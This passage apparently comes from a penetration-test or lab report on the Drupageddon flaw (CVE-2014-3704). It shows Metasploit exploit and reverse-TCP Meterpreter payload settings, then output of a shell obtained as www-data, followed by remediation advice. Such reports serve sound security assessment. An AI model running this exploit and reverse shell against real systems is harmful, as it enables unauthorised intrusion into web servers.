





```
msf6 exploit(multi/http/drupal_drupageddon) > options

Module options (exploit/multi/http/drupal_drupageddon):

  Name      Current Setting  Required  Description
  --      -
  Proxies    Proxies           no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.159.133  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      80                yes       The target port (TCP)
  SSL        false             no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /drupal/          yes       The target URI of the Drupal installation
  VHOST      VHOST             no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.159.128  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Drupal 7.0 - 7.31 (form-cache PHP injection method)
```

### Step 3: Successful Exploitation Evidence

A reverse shell was obtained with web-server privileges.

- Shell
- id

```
msf6 exploit(multi/http/drupal_drupageddon) > run
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Sending stage (40004 bytes) to 192.168.159.133
[*] Meterpreter session 1 opened (192.168.159.128:4444 → 192.168.159.133:59269) at 2026-01-09 10:41:02 -0500

meterpreter > id
[-] Unknown command: id. Run the help command for more details.
meterpreter > shell
Process 18941 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## **Remediation**

### **1) Apply Security Patches**

- Upgrade the Drupal installation to the latest supported version (Drupal  $\geq$  7.32 or Drupal 8/9/10 as applicable).
- Apply all official Drupal core and module security updates addressing CVE-2014-3704 (Drupageddon).

### **2) Restrict Version Disclosure**

- Remove or restrict public access to files such as CHANGELOG.txt and README.txt.
- Disable unnecessary information leakage through HTTP headers and error messages.

### **3) Harden File and Directory Permissions**

- Restrict write access to the web root (/var/www/drupal) to trusted system users only.
- Ensure sensitive configuration files (e.g., settings.php) have strict read permissions.

### **4) Web Server and Application Hardening**

- Disable execution of PHP files in upload and writable directories.
- Implement a Web Application Firewall (WAF) with rules to detect and block malicious requests targeting known CMS vulnerabilities.

### **5) Credential and Database Security**

- Rotate exposed database credentials immediately.
- Enforce strong authentication and least-privilege access for database users.

### **6) Verification and Rescan**

- Perform a full vulnerability rescan after patching to confirm remediation.
- Validate that exploitation attempts no longer succeed and document results.